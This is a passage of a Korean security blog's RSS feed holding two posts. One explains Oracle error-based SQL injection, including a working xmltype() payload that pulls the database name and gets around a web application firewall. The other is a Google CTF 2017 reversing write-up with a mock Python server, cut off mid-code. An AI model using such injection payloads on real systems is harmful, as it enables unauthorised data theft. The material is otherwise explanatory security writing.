      <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;오랜만의&amp;nbsp;webhacking&amp;nbsp;포스팅이다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(93, 93, 93);&quot;&gt;This short article is about &lt;/span&gt;&lt;span style=&quot;color: rgb(93, 93, 93);&quot; class=&quot;&quot;&gt;webhacking&lt;/span&gt;&lt;span style=&quot;color: rgb(93, 93, 93);&quot;&gt;.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18pt;&quot;&gt;&lt;b&gt;Oracle Error Based SQL Injection&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;Oracle Error Based SQL Injection 공격시 주로&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12pt;&quot;&gt;utl_inaddr.get_host_name()&amp;nbsp; 함수를 이용한다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(140, 140, 140); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12pt;&quot;&gt;I usually use utl_inaddr.get_host_name() functions when Oracle Error Based SQL Injection.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;ex)&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;span style=&quot;font-size: 12pt; color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif;&quot;&gt;utl_inaddr.get_host_name( (select user from dual) )&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;=&amp;gt; 'hyunmini' 호스트를 찾을 수 없습니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; =&amp;gt;&amp;nbsp; 'hyunmini' host not found.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;이번 타겟은 웹방화벽에서 get_host_name 함수를 차단하고 있어서 해당 함수를 사용이 불가능했기에 다른 방법을 찾아보았다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 16px; color: rgb(140, 140, 140);&quot;&gt;This Target was blocking the get_host_name function in the WAF, so I tried another way.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;조금 찾아보니 역시 다른 방법이 몇가지가 있었다. 이번에 테스트 해본 방법은 xmltype() 함수이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;After&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;googling,&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt; I found some other ways. One way is to use the xmltype() function.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12pt;&quot;&gt;(참고 :&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12pt;&quot;&gt;https://gist.github.com/xassiz/7aa20b670d7e44da665c3e28f216a927)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;font color=&quot;#222222&quot; face=&quot;Verdana, Arial, Helvetica, sans-serif&quot;&gt;&lt;span style=&quot;font-size: 16px; color: rgb(140, 140, 140);&quot;&gt;(Reference:&amp;nbsp;&lt;/span&gt;&lt;/font&gt;&lt;span style=&quot;color: rgb(140, 140, 140); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px;&quot;&gt;https://gist.github.com/xassiz/7aa20b670d7e44da665c3e28f216a927)&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; flex-basis: auto !important;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; flex-basis: auto !important;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 24pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; flex-basis: auto !important;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt;&quot;&gt;xmltype()&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; flex-basis: auto !important;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; flex-basis: auto !important;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; flex-basis: auto !important;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;xmltype() 함수를 이용하면 아래와 같이 데이터를 쉽게 빼올 수 있었다.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; flex-basis: auto !important;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;Using the &lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;xmltype&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;() function, I could easily get the data as shown below.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; flex-basis: auto !important;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; flex-basis: auto !important;&quot;&gt;&lt;table class=&quot;txc-table&quot; width=&quot;864&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; border=&quot;0&quot; style=&quot;border:none;border-collapse:collapse;;font-family:&quot; 맑은=&quot;&quot; 고딕&quot;,=&quot;&quot; sans-serif;font-size:19px&quot;=&quot;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;width:864;height:24;border-bottom:1px solid #ccc;border-right:1px solid #ccc;border-top:1px solid #ccc;border-left:1px solid #ccc;;&quot;&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12pt;&quot;&gt;ex)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12pt;&quot;&gt;vulparam=1 and (select ''||&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; flex-basis: auto !important;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;xmltype(&lt;/span&gt;&lt;/b&gt;'&amp;lt;'||regexp_replace(utl_raw.cast_to_varchar2(utl_encode.base64_encode(&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; flex-basis: auto !important;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&amp;nbsp; &amp;nbsp;utl_raw.cast_to_raw(&amp;nbsp;&lt;/span&gt;&lt;b style=&quot;font-size: 12pt;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;(select+global_name+from+global_name)&lt;/span&gt;&amp;nbsp;&lt;/b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; flex-basis: auto !important;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&amp;nbsp; ))||'%3ax&amp;gt;',chr(10)||'|'||chr(13)||'|%3d',''))||''+from+dual&lt;/span&gt;&lt;span style=&quot;font-size: 12pt; color: rgb(255, 0, 0);&quot;&gt;)--&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; flex-basis: auto !important;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; flex-basis: auto !important;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; flex-basis: auto !important;&quot;&gt;&lt;b&gt;인젝션 결과 : 선언되지 않은 네임스페이스 접두어 '&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;hyunminidb&lt;/span&gt;'&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; flex-basis: auto !important;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;injection &lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;result :&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt; Undeclared namespace prefix '&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;hyunminidb&lt;/span&gt;'&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; flex-basis: auto !important;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(34, 34, 34); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; flex-basis: auto !important;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;끝!&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;The End!&lt;/span&gt;&lt;/p&gt;</description>
      <category>Web Hacking</category>
      <author>hyunmini</author>
      <guid isPermaLink="true">https://hyunmini.tistory.com/127</guid>
      <comments>https://hyunmini.tistory.com/127#entry127comment</comments>
      <pubDate>Wed, 15 Aug 2018 23:30:15 +0900</pubDate>
    </item>
    <item>
      <title>Google CTF 2017 ascii art writeup</title>
      <link>https://hyunmini.tistory.com/126</link>
      <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Google CTF 2017 - ASCII Art Writeup&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이번에는 리버싱 문제중 하나인 aart 를 풀어 보았다. 결론부터 말하면 허무하게 풀려버렸다;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이번 문제는 바이너리와 패킷 덤프가 주어졌다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;# file aart_client&lt;/b&gt;&lt;/p&gt;&lt;p&gt;aart_client: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=220420b2d90546e195ca6df0119e299f3ad28514, stripped&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;바이너리를 IDA 로 열어보면 protobuf 관련 클래스가 많이 나오는데, 검색해 보니 객체 등의 다양한 자료들을 송수신 하게 해주는 google 에서 만든 라이브러리이며 게임 등 실무에서도 많이 사용된다고 한다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/997656475AD69E1D37&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F997656475AD69E1D37&quot; width=&quot;900&quot; height=&quot;469&quot; filename=&quot;스크린샷 2018-04-18 오전 10.10.24.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;패킷을 열어보면 바이너리와 서버가 주고 받은 패킷임을 알 수 있는데, 자세히 보면 내용이 동일한 패킷이 주기적으로 보내진 것을 알 수 있다. 아마도&amp;nbsp;바이너리의 HELLO 문자열과 관련된 패킷일 것으로 생각된다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;즉 HELLO -&amp;gt; Message 전송의 형식으로 통신을 한 것으로 볼 수 있다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br class=&quot;Apple-interchange-newline&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 876px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99CCF7475AD69E1E30&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99CCF7475AD69E1E30&quot; width=&quot;876&quot; height=&quot;639&quot; filename=&quot;스크린샷 2018-04-18 오전 10.09.22.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/998E1F475AD69E1F0A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F998E1F475AD69E1F0A&quot; width=&quot;900&quot; height=&quot;668&quot; filename=&quot;스크린샷 2018-04-18 오전 10.09.27.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;처음엔 바이너리를 좀 분석하다가... 실행하려면 서버가 필요해서 웹서버를 만들어서 시뮬레이션(?) 해 보기로 했고, 아래와 같이 간단히 코딩하여 소켓으로 응답을 돌려줬다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 4px; font-variant-numeric: normal; font-variant-east-asian: normal; font-stretch: normal; font-size: 0.9333em; line-height: 1.5em; font-family: Consolas, &amp;quot;Lucida Console&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, Monaco, &amp;quot;Courier New&amp;quot;, monospace; background: rgb(0, 0, 0); color: rgb(248, 248, 248);&quot;&gt;&lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;from&lt;/span&gt; BaseHTTPServer &lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;import&lt;/span&gt; BaseHTTPRequestHandler, HTTPServer
&lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;import&lt;/span&gt; SocketServer

seq &lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(51, 135, 204);&quot;&gt;0&lt;/span&gt;

msg_0 &lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(101, 176, 66);&quot;&gt;'''787e7f756d667e7c7c15787e70746d667e7c232b4c5c57405554435d5851555b5549505a554e405b545c4f51405c545b4f5449432b193931'''&lt;/span&gt;

msg_1 &lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(101, 176, 66);&quot;&gt;'''54795e5e2c5d2c2c2c2c2c2c2c2c5e5d135e53535353535353535479535d2f532c5d2c2c2c2c2c2c2c2c5c5d5353135d5353535353535479535d53535353532f5353535353535353535c53535353135d535353535c795353535c53535353532f535353535353535c53535353532f2f5353537953530f53535353535353532f535e545e5e5c1353535353535353535353530f79534e5d5e5e5e5e0d0d0d0d5c0d535353532f530d0d0d0d5e0d5e5e4e5e535d7953492e4949494949490f4953532c5a535b0f5349494949494949495328535354795e4e5e5e5d5e2c2c2c2c532f505353532c5c2c2c5d2c5e5e5e5e134e53530f7953535e0d2c5d5353532f58535e5e585e535353535353535353530f53535354795d5e532c53530d535d5e5c53530f53532f0f535353535353535c5c5353537953530f5d535e542c5d53535c530f5353530f532f534e54134e53535d0d535353530f7953530f530d5d53535c535353530f5353530f2f532c2c0d535c5d535353537953530f53532f0f5d535e5e530d0f5353530f5353535e0d5d5e5c535353535353532f795c2c5353532f53532c530f2c53530f532c2c53535353535c5353535353532c7953535353532f53535353530f5353530f53535353535c53535353535379532f2f53530f0f2c2c0f2c530f5c53535c53535353535353532f79532f0f0f53530f53530f5c5c535353535353535353532f790f2f530f53530f0f5c5c5353535353535353535379532c2f530f53532c0f535c535353535353535353537953532c53535353532c5353535353535353535353537979b97716690a061e1d171f1b091112031f101f041a111f160a1b1e1605110a1e1e0905530370617b'''&lt;/span&gt;

msg_2 &lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(101, 176, 66);&quot;&gt;'''787e7f756d667e7c7c15787e70746d667e7c232b4e564150525b5d5e57504b5e48405558534158505141494a564d515848564b562b193931'''&lt;/span&gt;

msg_3 &lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(101, 176, 66);&quot;&gt;'''037e6c612e496c67446c3c2e7168746c772e6c6c2e65667a6d686e6c652e2e6c6c772e6f2e6262702e746277576b457840571931746c7b6a686167646d6a7164727a6f62697b626a6b7b73706c776b62726c716c11230b7a'''&lt;/span&gt;
msg_4 &lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(101, 176, 66);&quot;&gt;'''787e7f756d667e7c7c15787e70746d667e7c232b53545f485c515349545449564e4f4f554353485a4d504e4d50404d545c5c514f2b193931'''&lt;/span&gt;

msg_5 &lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(101, 176, 66);&quot;&gt;'''54795e5e2c5d2c2c2c2c2c2c2c2c5e5d135e53535353535353535479535d2f532c5d2c2c2c2c2c2c2c2c5c5d5353135d5353535353535479535d53535353532f5353535353535353535c53535353135d535353535c795353535c53535353532f535353535353535c53535353532f2f5353537953530f53535353535353532f535e545e5e5c1353535353535353535353530f79534e5d5e5e5e5e0d0d0d0d5c0d535353532f530d0d0d0d5e0d5e5e4e5e535d7953492e4949494949490f4953532c5a535b0f5349494949494949495328535354795e4e5e5e5d5e2c2c2c2c532f505353532c5c2c2c5d2c5e5e5e5e134e53530f7953535e0d2c5d5353532f58535e5e585e535353535353535353530f53535354795d5e532c53530d535d5e5c53530f53532f0f535353535353535c5c5353537953530f5d535e542c5d53535c530f5353530f532f534e54134e53535d0d535353530f7953530f530d5d53535c535353530f5353530f2f532c2c0d535c5d535353537953530f53532f0f5d535e5e530d0f5353530f5353535e0d5d5e5c535353535353532f795c2c5353532f53532c530f2c53530f532c2c53535353535c5353535353532c7953535353532f53535353530f5353530f53535353535c53535353535379532f2f53530f0f2c2c0f2c530f5c53535c53535353535353532f79532f0f0f53530f53530f5c5c535353535353535353532f790f2f530f53530f0f5c5c5353535353535353535379532c2f530f53532c0f535c535353535353535353537953532c53535353532c5353535353535353535353537979b9771e6902191b1503161e191c1e05031f04190510091a0207070a041e1a16070516531b70617b'''&lt;/span&gt;

msgs &lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;=&lt;/span&gt; [msg_0, msg_3, msg_2, msg_1, msg_4, msg_5]

&lt;span style=&quot;color: rgb(153, 207, 80);&quot;&gt;class&lt;/span&gt; &lt;span style=&quot;text-decoration-line: underline;&quot;&gt;S&lt;/span&gt;(&lt;span style=&quot;color: rgb(155, 92, 46); font-style: italic;&quot;&gt;BaseHTTPRequestHandler&lt;/span&gt;):
    &lt;span style=&quot;color: rgb(153, 207, 80);&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: rgb(137, 189, 255);&quot;&gt;_set_headers&lt;/span&gt;(&lt;span style=&quot;color: rgb(62, 135, 227);&quot;&gt;self&lt;/span&gt;):
        &lt;span style=&quot;color: rgb(62, 135, 227);&quot;&gt;self&lt;/span&gt;.send_response(&lt;span style=&quot;color: rgb(51, 135, 204);&quot;&gt;200&lt;/span&gt;)
        &lt;span style=&quot;color: rgb(62, 135, 227);&quot;&gt;self&lt;/span&gt;.send_header(&lt;span style=&quot;color: rgb(101, 176, 66);&quot;&gt;'Content-type'&lt;/span&gt;, &lt;span style=&quot;color: rgb(101, 176, 66);&quot;&gt;'text/html'&lt;/span&gt;)
        &lt;span style=&quot;color: rgb(62, 135, 227);&quot;&gt;self&lt;/span&gt;.end_headers()

    &lt;span style=&quot;color: rgb(153, 207, 80);&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: rgb(137, 189, 255);&quot;&gt;do_GET&lt;/span&gt;(&lt;span style=&quot;color: rgb(62, 135, 227);&quot;&gt;self&lt;/span&gt;):
        &lt;span style=&quot;color: rgb(62, 135, 227);&quot;&gt;self&lt;/span&gt;._set_headers()
        &lt;span style=&quot;color: rgb(62, 135, 227);&quot;&gt;self&lt;/span&gt;.wfile.write(&lt;span style=&quot;color: rgb(101, 176, 66);&quot;&gt;&quot;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;hi!&amp;lt;/h1&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&quot;&lt;/span&gt;)

    &lt;span style=&quot;color: rgb(153, 207, 80);&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: rgb(137, 189, 255);&quot;&gt;do_HEAD&lt;/span&gt;(&lt;span style=&quot;color: rgb(62, 135, 227);&quot;&gt;self&lt;/span&gt;):
        &lt;span style=&quot;color: rgb(62, 135, 227);&quot;&gt;self&lt;/span&gt;._set_headers()

    &lt;span style=&quot;color: rgb(153, 207, 80);&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: rgb(137, 189, 255);&quot;&gt;do_POST&lt;/span&gt;(&lt;span style=&quot;color: rgb(62, 135, 227);&quot;&gt;self&lt;/span&gt;):
        &lt;span style=&quot;color: rgb(174, 174, 174); font-style: italic;&quot;&gt;# Doesn't do anything with posted data&lt;/span&gt;
        &lt;span style=&quot;color: rgb(153, 207, 80);&quot;&gt;global&lt;/span&gt; seq
        &lt;span style=&quot;color: rgb(62, 135, 227);&quot;&gt;self&lt;/span&gt;._set_headers()
        &lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;print&lt;/span&gt; &lt;span style=&quot;color: rgb(62, 135, 227);&quot;&gt;self&lt;/span&gt;.rfile.read(&lt;span style=&quot;color: rgb(155, 133, 157);&quot;&gt;int&lt;/span&gt;(&lt;span style=&quot;color: rgb(62, 135, 227);&quot;&gt;self&lt;/span&gt;.headers[&lt;span style=&quot;color: rgb(101, 176, 66);&quot;&gt;'Content-Length'&lt;/span&gt;]))
        &lt;span style=&quot;color: rgb(62, 135, 227);&quot;&gt;self&lt;/span&gt;.wfile.write(msgs[seq])
        seq &lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;+=&lt;/span&gt; &lt;span style=&quot;color: rgb(51, 135, 204);&quot;&gt;1&lt;/span&gt;

&lt;span style=&quot;color: rgb(153, 207, 80);&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: rgb(137, 189, 255);&quot;&gt;run&lt;/span&gt;(&lt;span style=&quot;color: rgb(62, 135, 227);&quot;&gt;server_class&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;=&lt;/span&gt;HTTPServer, &lt;span style=&quot;color: rgb(62, 135, 227);&quot;&gt;handler_class&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;=&lt;/span&gt;S, &lt;span style=&quot;color: rgb(62, 135, 227);&quot;&gt;port&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204);&quot;&gt;80&lt;/span&gt;):
    server_address &lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;=&lt;/span&gt; (&lt;span style=&quot;color: rgb(101, 176, 66);&quot;&gt;''&lt;/span&gt;, port)
    httpd &lt;span style=&quot;color: rgb(226, 137, 100);&quot;&gt;=&lt;/span&gt; server_class(server_address, handler_class)
